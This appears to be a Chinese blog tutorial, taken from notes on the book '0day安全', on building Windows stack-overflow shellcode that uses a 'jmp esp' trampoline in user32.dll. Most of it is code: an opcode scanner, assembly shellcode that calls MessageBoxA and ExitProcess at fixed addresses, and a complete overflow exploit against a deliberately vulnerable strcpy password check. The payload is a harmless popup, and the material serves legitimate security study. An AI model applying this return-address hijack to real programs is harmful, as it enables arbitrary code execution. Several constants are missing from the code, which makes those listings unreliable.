天天看點

以jmp esp 為跳闆的shellcode開發

0x00 Shellcode概述

  • Shellcode與exploit

    1) shellcode:緩沖區攻擊中植入程序的代碼。進行删改檔案、竊取資料、上傳木馬并運作、格式化硬碟等。用彙編語言編寫,并轉換成二進制機器碼,内容和長度受到苛刻限制。

    2) exploit: 漏洞利用程式,用于生成攻擊性的網絡資料包或其他形式的攻擊性輸入。exploit的核心是淹沒傳回位址,劫持程序控制權,跳去執行shellcode

    3) 差別:shellcode具有一定的通用性,exploit針對特定漏洞

    以jmp esp 為跳闆的shellcode開發

0x01 定位shellcode

  • 漏洞利用過程中,由于動态連結庫的裝入和解除安裝等原因,Windows程序的函數棧幀可能産生移位,即shellcode在記憶體中的位址是動态變化的,是以需要exploit在運作時動态定位棧中的shellcode。
  • 函數傳回步驟

    1) 儲存傳回值:函數傳回值儲存在EAX寄存器

    2) 彈出目前棧幀,恢複上一個棧幀

    a) ESP + 目前棧幀大小:堆棧平衡基礎上,降低棧頂,回收目前棧幀空間

    b) POP EBP:前棧幀EBP彈給EBP,恢複上一個棧幀

    c) POP EIP:函數傳回位址彈給EIP

    3) 跳轉:按EIP的值傳回母函數繼續執行

    由函數調用過程可知,一般情況下,ESP中位址總是指向系統棧且不會被溢出的資料破壞。函數傳回時,ESP所指的位置是淹沒的傳回位址的下一位(子函數平衡棧ret n時,ESP将指向下n位)。

  • 可用”jmp esp”作為跳闆動态定位shellcode

    1) 用記憶體中任意一個”jmp esp”的位址覆寫傳回位址

    2) 函數傳回後被重定向去執行記憶體中jmp esp指令

    3) 由于函數傳回後ESP指向傳回位址後,jmp esp執行後,CPU将到棧區函數傳回位址之後的地方取指令執行

    4) shellcode的布置。緩沖區前面一段用任意資料填充,把shellcode放在函數傳回位址後面。jmp esp執行完就執行shellcode。

  • 擷取跳闆的位址

    1) 一些經常被用到的動态連結庫會被映射到記憶體,如kernel.32.dll、user32.dll會被幾乎所有程序加載,且加載基址始終相同(不同OS上可能不同)。所有這裡使用user32.dll中的jmp esp作為跳闆。

    2) 程式設計搜尋jmp esp的記憶體位址。搜尋得到以下位址,從中選取0x77d93acc作為定位shellcode的跳闆覆寫函數傳回位址。

    以jmp esp 為跳闆的shellcode開發
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
    BYTE* ptr;
    int position,address;
    HINSTANCE handle;
    BOOL done_flag = FALSE;
    handle=LoadLibrary(DLL_NAME);
    if(!handle)
    {
        printf(" load dll erro !");
        exit();
    }
    ptr = (BYTE*)handle;

    for(position = ; !done_flag; position++)
    {
        try
        {
            if(ptr[position] ==  && ptr[position+] == )
            {
                //0xFFE4 is the opcode of jmp esp
                int address = (int)ptr + position;
                printf("OPCODE found at 0x%x\n",address);
            }
        }
        catch(...)
        {
            int address = (int)ptr + position;
            printf("END OF 0x%x\n", address);
            done_flag = true;
        }
    }
    getchar();
}  
           
  • shellcode功能需求

    1) 調用MessageBox實作彈窗

    a) 裝載user.dll動态連結庫,MessageBox是user32.dll的導出函數

    b) 獲得函數入口位址,用Dependency Walker打開一個圖形界面程式,找到user.dll的基址為0x77D10000,MessageBoxA的偏移位址為0x000407EA,故入口位址為0x77D507EA。

    c) 向棧中壓入MessageBoxA的4個參數

    2) 為程式避免堆棧不平衡導緻崩潰,調用exit函數讓程式正常退出。用Dependency Walker找出ExitProcess函數(Kernel32.dll的導出函數)入口位址,0x7C81CDDA。

int MessageBox
( HWND,     //handle to owner window
LPCTSTR,        //text in message box
LPCTSTR,        //message box title
UINT        //message box style
)
           
  • shellcode彙編代碼

    用EBX清零後入棧作為”failwest”截斷符是為了避免PUSH 0中的NULL,否則植入的機器碼會被strcpy函數截斷。

#include <windows.h>
int main()
{   
    HINSTANCE LibHandle;
    char dllbuf[] = "user32.dll";
    LibHandle = LoadLibrary(dllbuf);
    _asm{
            sub sp,
            xor ebx,ebx
            push ebx         // cut string
            push 
            push  //push “failwest”

            mov eax,esp     //load address of failwest
            push ebx    // Messagebox (,failwest,failwest,)
            push eax
            push eax
            push ebx

            mov  eax,     //() address should be reset in different OS
            call eax        //call MessageboxA

            push ebx
            mov eax,  //() address should be reset in different OS
            call eax        //call exit()
    }
}
           
  • 将shellcode彙編代碼在VC中編譯得到的.exe檔案放到OllyDbg中調試獲得機器碼,組織好并放入exploit中。傳回位址\xCC\x3A\xD9\x77前填充資料量32bytes = 24(buffer) + 4(authenticated) + 4(EBP)
#include"stdio.h"
#include"string.h"
#include <windows.h>
#define PASSWORD "1234567"

char password[1024] = "\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31"
                       "\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31"
                       "\x34\x33\x32\x31\x34\x33\x32\x31\xCC\x3A\xD9\x77"
                       "\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69"
                       "\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77"
                       "\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";

int verify_password (char *password)
{
    int authenticated;
    char buffer[22];// add local buff
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);//over flowed here! 
    return authenticated;
}

void main()
{
    int valid_flag=0;
    LoadLibrary("user32.dll");//prepare for messagebox
    while(1)
    {

        valid_flag = verify_password(password);

        if(valid_flag)
        {
            printf("incorrect password!\n\n");
        }
        else
        {
            printf("Congratulation! You have passed the verification!\n");
            break;
        }
    }
}
           
  • 原了解釋:

    1) 拷貝前後棧中變量分布:

    拷貝前:

    以jmp esp 為跳闆的shellcode開發
    拷貝後:
    以jmp esp 為跳闆的shellcode開發
    2) 函數傳回到jmp esp
    以jmp esp 為跳闆的shellcode開發
    此時ESP的值為0x0012FB2C
    以jmp esp 為跳闆的shellcode開發
    3) 執行jmp esp,CPU将取shellcode指令執行
    以jmp esp 為跳闆的shellcode開發
    4) 運作結果:彈窗并正常退出而不報錯。
    以jmp esp 為跳闆的shellcode開發

——《0day安全》學習筆記

繼續閱讀